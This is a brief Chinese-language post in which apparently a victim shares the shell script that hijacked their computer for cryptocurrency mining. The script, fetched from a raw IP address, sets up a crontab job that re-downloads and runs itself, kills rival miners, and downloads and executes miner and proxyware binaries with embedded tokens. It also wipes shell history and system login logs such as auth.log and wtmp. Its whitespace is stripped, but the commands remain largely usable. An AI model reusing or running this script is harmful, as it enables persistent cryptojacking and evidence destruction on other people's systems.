电脑被黑客入侵用来挖矿了,欣赏一下 D:\Desktopcurl-shttp://94.26.106.195/check1.sh#!/bin/bash# Verifică și adaugă linia în crontab dacă nu existăCRONLINE*/5 * * * * /usr/bin/bash -c cd /tmp bash (curl -s http://94.26.106.195/check1.sh) crontab-l2/dev/null|grep-Fq$CRONLINEif[$?-ne0];thenecho[⚠️] the line not exit in crontab reload(crontab-l2/dev/null;echo$CRONLINE)|crontab-fi# Verifică dacă procesul Error84 ruleazăif!pgrep-fError84/dev/null;then# Rulează comenzile dacă procesul nu este găsitunalias-aflock-n/tmp/report_system.lock-cnohup bash -c trap\\HUP INT QUIT TERM; while true; do pkill -f .report_system; pkill -f .javago; pkill -f earnfm_example; pkill -f systemd-cached; sleep 5; done /dev/null 21 cd/var/tmprm-rf*cd/var/tmp;wgethttp://94.26.106.195/traffaarch;curl-LOhttp://94.26.106.195/traffaarch;chmodx traffaarch;./traffaarch/dev/null21disownsleep5curl-LOhttp://94.26.106.195/Error84wgethttp://94.26.106.195/Error84sleep4chmodx Error84 ./Error84-oandrewtatemunityxcrypto.com:5555-uerror-perror/dev/null21disownrm-rfunixsleep5history-ccd/var/logrm-rfauth.logrm-rfwtmprm-rflastlogrm-rfbtmpcd/var/runrm-rfutmphistory-ccdrm-rf.bash_historyclearfiexit0D:\Desktopcurl-shttp://94.26.106.195/traffaarchcd/var/tmpcurl-LOhttp://94.26.106.195/cliaarchwgethttp://94.26.106.195/cliaarchchmodx cliaarch ./cliaarch start accept--tokenuUbGvGz7zAMgGtHsTo8EOi1krvjOPi7SF5UMeoCJnU/dev/null21disownsleep10./cliaarch start accept--tokenjUliaNLclI34oUpjC7ewra/HjEuwUgYa7jrpxMBC3k/dev/null21disownhistory-c挖矿程序curl-LOhttp://94.26.106.195/Error84wgethttp://94.26.106.195/Error84